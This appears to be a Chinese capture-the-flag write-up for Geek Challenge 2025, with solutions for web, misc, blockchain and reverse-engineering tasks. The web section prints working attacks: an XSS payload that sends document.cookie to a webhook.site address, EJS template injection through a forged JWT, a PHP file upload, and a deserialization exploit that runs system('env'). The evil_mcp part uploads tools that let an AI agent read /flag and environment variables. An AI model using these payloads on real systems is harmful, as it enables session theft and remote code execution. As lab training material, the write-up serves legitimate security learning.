Week1 Web 阿基里斯追乌龟 抓包修改一下base64编码后的payload即可
Vibe SEO sitemap.xml泄露aa__^^.php
根据报错信息尝试传入filename参数 长度限制是小于11 ?filename=aa__^^.php读源码
1 2 3 4 5 6 7 8 <?php $flag = fopen ('/my_secret.txt' , 'r' );if (strlen ($_GET ['filename' ]) < 11 ) { readfile ($_GET ['filename' ]); } else { echo "Filename too long" ; } ?>
尝试了/dev/3/fd或者php://fd/3或者var://flag都不行
这个可以
1 2 ?filename=/dev/fd/12 //源码 ?filename=/dev/fd/13 //flag
Xross The Finish Line fuzz出来可用的xss payload
然后进一步测试发现过滤了引号
用`代替引号
1 <svg/onload=fetch(`https://webhook.site/a3e2cdb1-3c78-43d3-9323-24ee284dcf27?c=`+document.cookie)>
Expression 题目描述提到jwt密钥直接照搬的原项目,查看前端源码发现是InfiniteSky,但是查找了一下没有jwt密钥的线索
随便注册个号1@qq.com ,登录后显示欢迎,user_e37babaf316d ! 看下cookie里面有个token
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjFAcXEuY29tIiwidXNlcm5hbWUiOiJ1c2VyX2UzN2JhYmFmMzE2ZCIsImlhdCI6MTc2MTgzMzUwNiwiZXhwIjoxNzYyNDM4MzA2fQ.i_tPV5kKmnA8fZDYzFpWf4GoBC2DFKekAnmuZqLDYSs
jwt解一下
1 2 3 4 5 6 { "email": "1@qq.com", "username": "user_e37babaf316d", "iat": 1761833506, "exp": 1762438306 }
可以获取到的信息是username被展示在前端页面,这是个nodejs的站,有可能存在ejs模板注入,但是还是要知道jwt的密钥才行
找了个gui工具爆,用自己的字典试了几个发现密钥是secret
那后面直接把username换成<%= global.process.mainModule.require('child_process').execSync('env')%>即可
one_last_image 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST / HTTP/1.1 Host: 019a32d9-6259-7880-b072-e9c9ab7d2254.geek.ctfplus.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://019a32d9-6259-7880-b072-e9c9ab7d2254.geek.ctfplus.cn/ Content-Type: multipart/form-data; boundary=----geckoformboundaryeb486a0d2958e5e142a05c31fa4a6354 Content-Length: 447 Origin: http://019a32d9-6259-7880-b072-e9c9ab7d2254.geek.ctfplus.cn Connection: close Priority: u=0 ------geckoformboundaryeb486a0d2958e5e142a05c31fa4a6354 Content-Disposition: form-data; name="image"; filename="1.php" Content-Type: image/jpeg <?=phpinfo(); ------geckoformboundaryeb486a0d2958e5e142a05c31fa4a6354 Content-Disposition: form-data; name="colorsize" 20 ------geckoformboundaryeb486a0d2958e5e142a05c31fa4a6354 Content-Disposition: form-data; name="mode" light ------geckoformboundaryeb486a0d2958e5e142a05c31fa4a6354--
响应包里的报错泄露了路径/var/www/html/uploads/20fe824b-c6db-47d2-b5e1-be9750f410b6.php 访问后找到flag即可
popself 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 <?php show_source (__FILE__ );error_reporting (0 );class All_in_one { public $KiraKiraAyu ; public $_4ak5ra ; public $K4per ; public $Sams āra; public $komiko ; public $Fox ; public $Eureka ; public $QYQS ; public $sleep3r ; public $ivory ; public $L ; public function __set ($name , $value ) { echo "他还是没有忘记那个" .$value ."<br>" ; echo "收集夏日的碎片吧<br>" ; $fox = $this ->Fox; if ( !($fox instanceof All_in_one) && $fox ()==="summer" ){ echo "QYQS enjoy summer<br>" ; echo "开启循环吧<br>" ; $komiko = $this ->komiko; $komiko ->Eureka ($this ->L, $this ->sleep3r); } } public function __invoke ( ) { echo "恭喜成功signin!<br>" ; echo "welcome to Geek_Challenge2025!<br>" ; $f = $this ->Samsāra; $arg = $this ->ivory; $f ($arg ); } public function __destruct ( ) { echo "你能让K4per和KiraKiraAyu组成一队吗<br>" ; if (is_string ($this ->KiraKiraAyu) && is_string ($this ->K4per)) { if (md5 (md5 ($this ->KiraKiraAyu))===md5 ($this ->K4per)){ die ("boys和而不同<br>" ); } if (md5 (md5 ($this ->KiraKiraAyu))==md5 ($this ->K4per)){ echo "BOY♂ sign GEEK<br>" ; echo "开启循环吧<br>" ; $this ->QYQS->partner = "summer" ; } else { echo "BOY♂ can`t sign GEEK<br>" ; echo md5 (md5 ($this ->KiraKiraAyu))."<br>" ; echo md5 ($this ->K4per)."<br>" ; } } else { die ("boys堂堂正正" ); } } public function __tostring ( ) { echo "再走一步...<br>" ; $a = $this ->_4ak5ra; $a (); } public function __call ($method , $args ) { if (strlen ($args [0 ])<4 && ($args [0 ]+1 )>10000 ){ echo "再走一步<br>" ; echo $args [1 ]; } else { echo "你要努力进窄门<br>" ; } } } class summer { public static function find_myself ( ) { return "summer" ; } } if (isset ($payload )) { unserialize ($payload ); } else { echo "没有大家的压缩包的话,瓦达西!<br>" ; } ?>
链子还是比较明显
1 __destruct -> __set -> __call -> __tostring -> __invoke
首先在__destruct中要过一个md5的判断
1 md5(md5($this->KiraKiraAyu))==md5($this->K4per)
一开始以为找一个md5后是0e开头的和一个两次md5后是0e开头的就行,结果一直过不了,看了下PHP版本是7.3.4,再问AI得知0e之后必须要全为数字才可以,那就写一个python脚本来爆破寻找两次md5后符合条件的字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 import argparseimport hashlibimport osimport randomimport reimport stringimport sysimport timefrom concurrent.futures import ProcessPoolExecutor, as_completedMAGIC_RE = re.compile (r"^0e\d{30}$" ) def md5_hex (data: bytes ) -> str : return hashlib.md5(data).hexdigest() def is_magic (s: str ) -> bool : return bool (MAGIC_RE.match (s)) def test_candidate (s: str ): h1 = md5_hex(s.encode()) h2 = md5_hex(h1.encode()) return is_magic(h2), h1, h2 def worker_numeric (start: int , step: int , report_every: int = 100000 ): """ 纯数字递增搜索:进程 i 负责从 start+i 开始,每次加 step """ i = start tried = 0 t0 = time.time() while True : ok, h1, h2 = test_candidate(str (i)) tried += 1 if ok: return True , str (i), h1, h2, tried, time.time() - t0 if tried % report_every == 0 : pass i += step def rand_ascii (n: int ) -> str : alphabet = string.ascii_letters + string.digits return "" .join(random.choice(alphabet) for _ in range (n)) def worker_random (seed: int , report_every: int = 200000 ): """ 随机搜索:固定随机种子,生成 8~24 长度的字母数字串 """ random.seed(seed ^ int .from_bytes(os.urandom(8 ), "little" )) tried = 0 t0 = time.time() while True : s = rand_ascii(random.randint(8 , 24 )) ok, h1, h2 = test_candidate(s) tried += 1 if ok: return True , s, h1, h2, tried, time.time() - t0 if tried % report_every == 0 : pass def main (): parser = argparse.ArgumentParser(description="Find s.t. md5(md5(s)) matches ^0e\\d{30}$" ) parser.add_argument("--workers" , type =int , default=os.cpu_count() or 4 , help ="并行进程数" ) parser.add_argument("--start" , type =int , default=0 , help ="数字模式的起始值" ) parser.add_argument("--random" , action="store_true" , help ="使用随机字符串搜索(默认:数字递增)" ) args = parser.parse_args() print (f"[+] workers={args.workers} mode={'random' if args.random else 'numeric' } " , flush=True ) with ProcessPoolExecutor(max_workers=args.workers) as ex: futures = [] if args.random: for w in range (args.workers): futures.append(ex.submit(worker_random, seed=(args.start + w))) else : for w in range (args.workers): futures.append(ex.submit(worker_numeric, args.start + w, args.workers)) for fut in as_completed(futures): ok, s, h1, h2, tried, elapsed = fut.result() if ok: print ("\n[!] FOUND CANDIDATE!" ) print (f" s = {s!r} " ) print (f" md5(s) = {h1} " ) print (f" md5(md5) = {h2} (matches ^0e\\d{{30}}$)" ) print (f" tried = {tried} in {elapsed:.2 f} s (this worker)" ) for f in futures: f.cancel() return 0 return 1 if __name__ == "__main__" : sys.exit(main())
1 2 3 4 5 [!] FOUND CANDIDATE! s = '179122048' md5(s) = 30c14e38d72a2203bc0bdd2ced6484e6 md5(md5) = 0e983430692806892134340492059275 (matches ^0e\d{30}$) tried = 22390257 in 197.42s (this worker)
于是第一层可以这样子解
1 2 3 $payload = new All_in_one(); $payload -> KiraKiraAyu = "179122048"; //两次md5后为0e983430692806892134340492059275 $payload -> K4per = "s1885207154a"; //s1836677006a也可以
在__set里要满足
1 2 $fox = $this->Fox; if ( !($fox instanceof All_in_one) && $fox()==="summer")
可以将Fox设为可调用的字符串”summer::find_myself”,$fox()调用返回”summer”
之后走到__call后需要满足的条件
1 strlen($args[0])<4 && ($args[0]+1)>10000
很简单,9e9即可
后面很常规的走完链子就行
完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 <?php show_source (__FILE__ );error_reporting (0 );class All_in_one { public $KiraKiraAyu ; public $_4ak5ra ; public $K4per ; public $Sams āra; public $komiko ; public $Fox ; public $Eureka ; public $QYQS ; public $sleep3r ; public $ivory ; public $L ; public function __set ($name , $value ) { echo "他还是没有忘记那个" .$value ."<br>" ; echo "收集夏日的碎片吧<br>" ; $fox = $this ->Fox; echo $fox (); if ( !($fox instanceof All_in_one) && $fox ()==="summer" ){ echo "QYQS enjoy summer<br>" ; echo "开启循环吧<br>" ; $komiko = $this ->komiko; $komiko ->Eureka ($this ->L, $this ->sleep3r); } } public function __invoke ( ) { echo "恭喜成功signin!<br>" ; echo "welcome to Geek_Challenge2025!<br>" ; $f = $this ->Samsāra; $arg = $this ->ivory; $f ($arg ); } public function __destruct ( ) { echo "你能让K4per和KiraKiraAyu组成一队吗<br>" ; if (is_string ($this ->KiraKiraAyu) && is_string ($this ->K4per)) { if (md5 (md5 ($this ->KiraKiraAyu))===md5 ($this ->K4per)){ die ("boys和而不同<br>" ); } var_dump (md5 (md5 ($this ->KiraKiraAyu)) == md5 ($this ->K4per)); if (md5 (md5 ($this ->KiraKiraAyu))==md5 ($this ->K4per)){ echo "BOY♂ sign GEEK<br>" ; echo "开启循环吧<br>" ; $this ->QYQS->partner = "summer" ; } else { echo "BOY♂ can`t sign GEEK<br>" ; echo md5 (md5 ($this ->KiraKiraAyu))."<br>" ; echo md5 ($this ->K4per)."<br>" ; } } else { die ("boys堂堂正正" ); } } public function __tostring ( ) { echo "再走一步...<br>" ; $a = $this ->_4ak5ra; $a (); } public function __call ($method , $args ) { if (strlen ($args [0 ])<4 && ($args [0 ]+1 )>10000 ){ echo "再走一步<br>" ; echo $args [1 ]; } else { echo "你要努力进窄门<br>" ; } } } class summer { public static function find_myself ( ) { return "summer" ; } } $payload = new All_in_one ();$payload -> KiraKiraAyu = "179122048" ;$payload -> K4per = "s1885207154a" ; $payload -> QYQS = new All_in_one ();$payload -> QYQS -> Fox = "summer::find_myself" ;$payload -> QYQS -> komiko = new All_in_one ();$payload -> QYQS -> L = "9e9" ;$payload -> QYQS -> sleep3r = new All_in_one ();$payload -> QYQS -> sleep3r -> _4ak5ra = new All_in_one ();$payload -> QYQS -> sleep3r -> _4ak5ra -> Samsāra = "system" ;$payload -> QYQS -> sleep3r -> _4ak5ra -> ivory = "env" ;echo serialize ($payload );?>
Misc HTTP 追踪tcp流,解base64 SYC{R_U_A_F0R3NS1C5_MASTER?}
🗃️🗃️ exif信息泄露 SYC{北京市_天坛公园}
evil_mcp 还挺新的题型,做法倒是很简单 可以自己实现一个工具(实际就是一个python脚本)并上传,然后在与AI对话时可以直接调用
给的模板如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from typing import Any @tool( name="echo_agent" , description="示例:返回用户输入,并展示会话与调用信息" , input_schema={ "type" : "object" , "properties" : { "text" : { "type" : "string" , "description" : "需要原样返回的文本" } }, "required" : ["text" ] } )async def echo_agent (arguments: dict [str , Any ], context: ToolExecutionContext ) -> ToolResult: content = ( f"Echo: {arguments['text' ]} " f"session_id={context.session_id} , invocation_id={context.invocation_id} " ) return ToolResult(content=content)
ls_root工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from typing import Any import os@tool( name="ls_root" , description="列出根目录内容(等价于执行 ls /),不接受参数。" , input_schema={ "type" : "object" , "properties" : {}, "additionalProperties" : False } )async def ls_root (arguments: dict [str , Any ], context: ToolExecutionContext ) -> ToolResult: try : entries = sorted (os.listdir("/" )) cols = 4 lines = [] for i in range (0 , len (entries), cols): row = entries[i:i+cols] lines.append(" " .join(f"{name} " for name in row)) content = "[+] ls /\n" + "\n" .join(lines) return ToolResult(content=content) except Exception as e: return ToolResult(content=f"[-] 列目录失败:{e} " ) tool = ls_root
print_env工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from typing import Any import os@tool( name="print_env" , description="打印环境变量(等价于 `env`)。不接受参数。" , input_schema={ "type" : "object" , "properties" : {}, "additionalProperties" : False } )async def print_env (arguments: dict [str , Any ], context: ToolExecutionContext ) -> ToolResult: try : lines = [f"{k} ={v} " for k, v in os.environ.items()] lines.sort() content = "[+] env\n" + "\n" .join(lines) return ToolResult(content=content) except Exception as e: return ToolResult(content=f"[-] 获取环境变量失败:{e} " ) tool = print_env
cat_flag工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from typing import Any @tool( name="cat_flag" , description="读取 /flag(等价于 `cat /flag`)。不接受参数。" , input_schema={ "type" : "object" , "properties" : {}, "additionalProperties" : False } )async def cat_flag (arguments: dict [str , Any ], context: ToolExecutionContext ) -> ToolResult: path = "/flag" try : with open (path, "rb" ) as f: data = f.read(200_000 ) try : text = data.decode("utf-8" , errors="replace" ) except Exception: text = repr (data[:1024 ]) return ToolResult(content=f"[+] READ {path} \n{text} " ) except Exception as e: return ToolResult(content=f"[-] 无法读取 {path} :{e} " ) tool = cat_flag
Bite off picture 压缩包末尾是个倒序base64,解码获得密码werwerr 之后修复png宽高即可
1Z_Sign etherscan.io搜索0x1d3040872d9c3d15d47323996926c2aa5c7b636fc7209f701301878dcf438598
可以看到交易回执的logs
定位 Uniswap V4: Pool Manager 合约地址 0x000000000004444c5dc75cb358380d2e3de08a90 的 Swap 事件。
将 fee 由 ppm(1e-6) 转换为百分比,因为 1% = 10,000 ppm。所以 fee = 9900 → 9900 / 10000 = 0.99%。
SYC{0.99%}
Blockchain SignIn 去sepolia.etherscan.io搜索0x208e0465ea757073d0ec6af9094e5404ef81a213970eb580fa6a28a3af4669d6 在More details的Input Data里找到hex的flag
Reverse encode 在 IDA Pro 中观察到的关键函数:
main: 读取输入后,对经自定义 scanf 处理过的缓冲逐字节异或 0x5A,然后进行 Base64 编码并与常量进行比较。
scanf: 并非标准库实现。它先逐字节读入、去空白,随后调用 enc(buf, len, out) 将输入加密,返回的加密长度写入全局变量 encrypted_len,并把加密结果写回原缓冲。
enc: 对数据进行 8 字节对齐的 PKCS#7 填充,然后按 8 字节块调用 enc_block 加密,返回加密后长度(8 的倍数)。
enc_block: XTEA(32 轮)加密,密钥为 16 字节常量。
常量/字符串:
XTEA 密钥:"geek2025reverse!"(地址 0x100003ea0)
Base64 表:地址 0x100003eb0
比对用的 64 字节 Base64 串:vBzX30Koxl3HpDaYaFJKhyB/1ckuVCnc4wZhrwUWeNuZkAxr+Qn5UaYbpvymmCrk(地址 0x100003ef1)
入口 main 的核心逻辑:
自定义 scanf(buf, cap) 将明文经 enc 加密,结果放回 buf,并设置 encrypted_len。
for i in [0, encrypted_len): v5[i] = buf[i] ^ 0x5A。
base64_encode(v5) 的结果需与地址 0x100003ef1 的 64 字节常量逐字节相等;若相等输出 Congratulations。
据此可得整体数据流:
1 输入明文 --enc(XTEA/ECB + PKCS#7)--> 密文C --逐字节 ^ 0x5A--> C' --Base64--> 常量目标串
因此逆向步骤为:
Base64 解码目标串得到 C';
C = C' ^ 0x5A;
用 XTEA-ECB(32 轮),密钥 geek2025reverse! 对 C 逐块(8 字节)解密;
去掉 PKCS#7 填充,得到原始明文(flag)。
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import base64TARGET_B64 = "vBzX30Koxl3HpDaYaFJKhyB/1ckuVCnc4wZhrwUWeNuZkAxr+Qn5UaYbpvymmCrk" KEY = b"geek2025reverse!" XOR_BYTE = 0x5A def xtea_decrypt_block (block: bytes , key: bytes ) -> bytes : """Decrypt a single 8-byte block with XTEA (32 rounds), big-endian words.""" assert len (block) == 8 and len (key) == 16 def be32 (b: bytes ) -> int : return int .from_bytes(b, "big" ) def to_be32 (x: int ) -> bytes : return x.to_bytes(4 , "big" ) v0 = be32(block[:4 ]) v1 = be32(block[4 :]) k = [be32(key[i * 4 : (i + 1 ) * 4 ]) for i in range (4 )] delta = 0x9E3779B9 total = (delta * 32 ) & 0xFFFFFFFF for _ in range (32 ): v1 = (v1 - ((((v0 >> 5 ) ^ ((v0 << 4 ) & 0xFFFFFFFF )) + v0) ^ ((total + k[(total >> 11 ) & 3 ]) & 0xFFFFFFFF ))) & 0xFFFFFFFF total = (total - delta) & 0xFFFFFFFF v0 = (v0 - ((((v1 >> 5 ) ^ ((v1 << 4 ) & 0xFFFFFFFF )) + v1) ^ ((total + k[total & 3 ]) & 0xFFFFFFFF ))) & 0xFFFFFFFF return to_be32(v0) + to_be32(v1) def recover_flag () -> bytes : decoded = base64.b64decode(TARGET_B64) cipher = bytes (b ^ XOR_BYTE for b in decoded) assert len (cipher) % 8 == 0 pt = bytearray () for i in range (0 , len (cipher), 8 ): pt.extend(xtea_decrypt_block(cipher[i : i + 8 ], KEY)) pad = pt[-1 ] if 1 <= pad <= 8 and pt.endswith(bytes ([pad]) * pad): pt = pt[:-pad] return bytes (pt) if __name__ == "__main__" : flag = recover_flag() print (flag.decode("utf-8" ))
ez_pyyy 给了pyc,直接反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 cipher = [48 , 55 , 57 , 50 , 53 , 55 , 53 , 50 , 52 , 50 , 48 , 55 , 101 , 52 , 53 , 50 , 52 , 50 , 52 , 50 , 48 , 55 , 53 , 55 , 55 , 55 , 50 , 54 , 53 , 55 , 54 , 55 , 55 , 55 , 53 , 54 , 98 , 55 , 97 , 54 , 50 , 53 , 56 , 52 , 50 , 52 , 99 , 54 , 50 , 50 , 52 , 50 , 50 , 54 ] def str_to_hex_bytes (s: str ) -> bytes : return s.encode('utf-8' ) def enc (data: bytes , key: int ) -> bytes : return bytes ([b ^ key for b in data]) def en3 (b: int ) -> int : return b << 4 & 240 | b >> 4 & 15 def en33 (data: bytes , n: int ) -> bytes : """整体 bitstream 循环左移 n 位""" bit_len = len (data) * 8 n = n % bit_len val = int .from_bytes(data, 'big' ) val = (val << n | val >> bit_len - n) & (1 << bit_len) - 1 return val.to_bytes(len (data), 'big' ) if __name__ == '__main__' : flag = '' data = str_to_hex_bytes(flag) data = enc(data, 17 ) data = bytes ([en3(b) for b in data]) data = data[::-1 ] data = en33(data, 32 ) if data.hex () == cipher: print ('Correct! ' ) else : print ('Wrong!!!!!!!!' )
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 cipher = [48 , 55 , 57 , 50 , 53 , 55 , 53 , 50 , 52 , 50 , 48 , 55 , 101 , 52 , 53 , 50 , 52 , 50 , 52 , 50 , 48 , 55 , 53 , 55 , 55 , 55 , 50 , 54 , 53 , 55 , 54 , 55 , 55 , 55 , 53 , 54 , 98 , 55 , 97 , 54 , 50 , 53 , 56 , 52 , 50 , 52 , 99 , 54 , 50 , 50 , 52 , 50 , 50 , 54 ] def rot_right_bitstream (data: bytes , n: int ) -> bytes : bit_len = len (data) * 8 n %= bit_len val = int .from_bytes(data, "big" ) val = ((val >> n) | ((val << (bit_len - n)) & ((1 << bit_len) - 1 ))) & ((1 << bit_len) - 1 ) return val.to_bytes(len (data), "big" ) def nibble_swap (b: int ) -> int : return ((b << 4 ) & 0xF0 ) | ((b >> 4 ) & 0x0F ) hex_str = "" .join(chr (x) for x in cipher) enc_end = bytes .fromhex(hex_str) stage = rot_right_bitstream(enc_end, 32 ) stage = stage[::-1 ] stage = bytes (nibble_swap(b) for b in stage) orig = bytes (b ^ 17 for b in stage) flag = orig.decode("utf-8" ) print (flag)
only_flower
关键函数:
_main 0x401602(读入、长度/格式检查、分支打印)
_checkcheck 0x401543(前后缀与大括号格式检查)
_encrypt 0x40149A(核心加密/混淆循环)
rol8 0x401460(8-bit左旋)
明文Key:位于 _KEY(地址 0x405064)= GEEK2025
参考密文数组:起始于 0x405070,长度 DWORD = 28(0x1C)
本题的难点是“花指令”(junk code)干扰IDA反汇编/反编译。主要表现为:
在关键代码路径处插入 jmp short -1(字节 EB FF)死循环,导致CFG被截断;
零散无意义字节流(如 c0 48…)使线性反汇编错位,反编译器产生 JUMPOUT() 等。
通过在IDA中将这些花指令 NOP 掉(或转为数据并重建代码)后,控制流即可恢复,逻辑清晰。
花指令定位与修复 以下均在 IDA Pro 中完成:
定位症状
对关键函数(_main、_checkcheck、_encrypt)按 F5 观察伪代码,若出现 JUMPOUT(...) 或只显示极少数语句,即为受花指令影响。
按空格查看反汇编,若看到 EB FF(jmp short -1)或明显“不可达/自跳转”的地方,即为花指令。
修复方法(两种常用)
直接补丁(推荐):
菜单 Edit -> Patch program -> Assemble,选中 jmp short -1 的地址,
将指令改为 nop(需要两字节,可写入 nop; nop),应用补丁。
转数据/重建代码:
对不应当执行的垃圾字节(影响解码的“乱序片段”)按 D 先转为数据,
再在真实入口处按 C 重建指令,必要时重建函数边界(Edit function -> Set range)。
本题实际修复点(将 EB FF 改为 90 90)
_main:
0x40161F、0x40164E、0x40169A、0x4016BF、0x4016EE、0x401740、0x401766、0x401790、0x4017AE
_encrypt:
0x4014C7、0x4014F0、0x401510
_checkcheck:
0x401556、0x401575、0x4015B1
修复后,反汇编/反编译会逐步恢复。可适度多次按 F5 让Hex-Rays重新分析。
逻辑复原
格式检查(_checkcheck) 反混淆后可读出的关键比较(汇编解析):
s[0] == 'S'
s[1] == 'Y'
s[2] == 'C'
s[3] == '{'
s[len-1] == '}'
同时 strlen(s) > 3(并且在 _main 还有长度==28的精确检查)
因此 flag 形如:SYC{...},总长度 28 字符。
加密例程(_encrypt) 逆向出核心循环逻辑(变量名自定):
Key:KEY = "GEEK2025",klen = strlen(KEY)
对每个位置 i(0..len-1):
k = KEY[i % klen]
x = in[i] ^ k
r = (k & 7)
y = rol8(x, r)
out[i] = (y + i) & 0xFF
其中 rol8 在 0x401460,伪码:rol8(v, n) = ((v << (n&7)) | (v >> (8-(n&7)))) & 0xFF。
参考密文与长度
数据区 0x405070 起存放一段 28 字节的参考密文,之后跟随一个 DWORD 0x0000001C(长度 28)。
Key 存放在 _KEY = 0x405064,内容为 ASCII 串 GEEK2025。
解密脚本(Python) 说明:按加密逆运算可还原明文。
逆过程:y = (c - i) & 0xFF;x = ror8(y, k & 7);p = x ^ k。
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from itertools import cycledef ror8 (v, n ): n &= 7 v &= 0xFF return ((v >> n) | ((v << (8 - n)) & 0xFF )) & 0xFF KEY = b"GEEK2025" CIPH = bytes ([ 0x0a ,0x84 ,0xc2 ,0x84 ,0x51 ,0x48 ,0x5f ,0xf2 ,0x9e ,0x8d ,0xd0 ,0x84 ,0x75 ,0x67 , 0x73 ,0x8f ,0xca ,0x57 ,0xd7 ,0xe6 ,0x14 ,0x6e ,0x77 ,0xe2 ,0x29 ,0xfe ,0xdf ,0xcc , ]) plain = [] for i, (c,k) in enumerate (zip (CIPH, cycle(KEY))): y = (c - i) & 0xFF x = ror8(y, k & 7 ) p = x ^ k plain.append(p) flag = bytes (plain).decode('latin1' ) print (flag)
在 IDA 中手动对付花指令的小抄
识别典型花:
jmp short -1(EB FF)死循环;
乱序一字节/两字节指令(如 c0 48 xx)塞在基本块中间让反汇编“错位”;
快速修:
直接 Assemble 成 nop; nop;
对明显“不可达”的垃圾片段,D 转数据、C 重建代码;
必要时重设函数边界与落脚基本块,再按 F5 重跑反编译;
辅助技巧:
先看调用图(对比 thunk 调用与IAT),确认真实流程;
用数据区交叉引用快速找 Key/密文等常量;
不必一次性修全,先修“卡住反编译的第一处”,多次迭代;
ezRu3t 静态分析
文件元信息:
模块:ezRu3t.exe
基址:0x140000000
入口点:
mainCRTStartup @ 0x14001B730
std::sys::thread_local::guard::windows::tls_callback @ 0x14000EEA0
Rust 启动序列(在 mainCRTStartup 中):
调用 _scrt_common_main_seh() -> std::rt::lang_start_internal(...)
main @ 0x140002F10 仅设置闭包指针为 sub_140002490,实质逻辑在 sub_140002490。
关键函数
main @ 0x140002F10
设置回调:v5 = sub_140002490 并进入 std::rt::lang_start_internal。
sub_140002490(核心校验流程)
多次 std::io::stdio::_print 打印提示/横幅。
刷新 stdout 后:
读取一行输入(stdin.read_line)到一个 String。
trim_matches 去除收尾空白。
调用 base64::engine::Engine::encode::inner(&unk_14001E828, input_trimmed) 进行 Base64 编码。
紧接着将 Base64 字节按 4 字节打包转换为 5 个“数字”,每个数字除以 85 提取位权(常数 0x31C84B1=85^4、0x95EED=85^3 等), 用字母表映射到字符:字母表地址在 a0123456789Abcd 符号处,经取值可知是标准 Ascii85 字母表 !..u。 因此这一步是 Base85(Ascii85)编码。
最终得到的输出缓冲(记作 Buf2)是:Ascii85(Base64(trimmed_input))。
程序随后构造期望目标串(记作 Buf1):
通过 Map::fold/join_generic_copy 对一段嵌入数据做映射拼接:
迭代参数位于 unk_14001E96B 与 asc_14001E9A7:后者是若干行由 █/空格组成的 ASCII 艺术矩阵(UTF-8:0xE2 0x96 0x88)。
unk_14001E96B 开头紧跟一段由 !..u 组成的 Ascii85 文本,随后是上述 ASCII 艺术的字节数据。该段文本即为程序内置的“期望值”。
最终比较:若 Buf2 与 Buf1 长度相等且 memcmp 相同,则判定正确并打印祝贺与原始输入;否则打印错误提示。
关键信息定位
Base85 字母表(Ascii85):
符号:a0123456789Abcd
读取到的字节为从 0x21(!)到 0x75(u)共 85 个字符,即标准 Ascii85 字母表。
期望 Ascii85 文本(位于 unk_14001E96B 开头,紧接着即是 UTF-8 的 █ 字符数据):
1 <AA;XAM?,_@;T[r@7E779h8;s>'`pt=>3c6ASuHFASOtP<Gkf_A4&gPAl1]S
该串即程序内置的目标串(Buf1)。
推导与还原 根据流程:
程序比较的是:Ascii85(Base64(flag_trimmed)) == Buf1。
因此只需:Base64(flag_trimmed) = a85decode(Buf1),再做一次 Base64 解码即可得到明文 flag。
解题脚本 以下脚本完成上述解码(Python 3):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import base64s = "<AA;XAM?,_@;T[r@7E779h8;s>'`pt=>3c6ASuHFASOtP<Gkf_A4&gPAl1]S" b64_bytes = base64.a85decode(s, adobe=False ) print ("base64:" , b64_bytes)flag_bytes = base64.b64decode(b64_bytes) print ("flag bytes:" , flag_bytes)print ("flag:" , flag_bytes.decode("utf-8" ))
QYQSの奇妙冒险 从 main 函数反编译得到核心校验流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 key = "QYQS" QYQS = [ 2 , 1 , 16 , 43 , 28 , 3 , 23 , 57 , 6 , 1 , 34 , 41 , 14 , 11 , 45 , 109 , 6 , 32 , 23 , 127 , 56 ] read input as string if len (input ) != 21 : fail// 加密(实际用于和常量比较) for i in range (len (input )): input [i] ^= i // 先按下标 i 异或 input [i] ^= key[i % 4 ] // 再按 key 的循环字节异或(Q/Y/Q/S) // 对比 for i in range (len (input )): if input [i] != QYQS[i]: fail success
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 QYQS_CONST = [ 2 , 1 , 16 , 43 , 28 , 3 , 23 , 57 , 6 , 1 , 34 , 41 , 14 , 11 , 45 , 109 , 6 , 32 , 23 , 127 , 56 , ] def solve () -> str : key = [ord (c) for c in "QYQS" ] res = [] for i, v in enumerate (QYQS_CONST): ch = v ^ i ^ key[i % 4 ] res.append(ch) return '' .join(chr (c) for c in res) if __name__ == "__main__" : print (solve())
ezSMC
关键分析过程 1) 入口与提示串
入口 mainCRTStartup → main。
关键字符串:"Plz input your flag miao: "、"Correct!"、"Wrong!"。
2) 主流程反编译要点
输入读取后,调用:
ascii_to_hexbytes(input, &hexlen):将输入逐字节转为大写 2 位十六进制的 ASCII 串。
hexstr_to_bytes(hex_ascii, &binlen):再把上述十六进制 ASCII 串还原为原始字节(两步等价于恒等变换,得到与原输入同样的字节序列)。
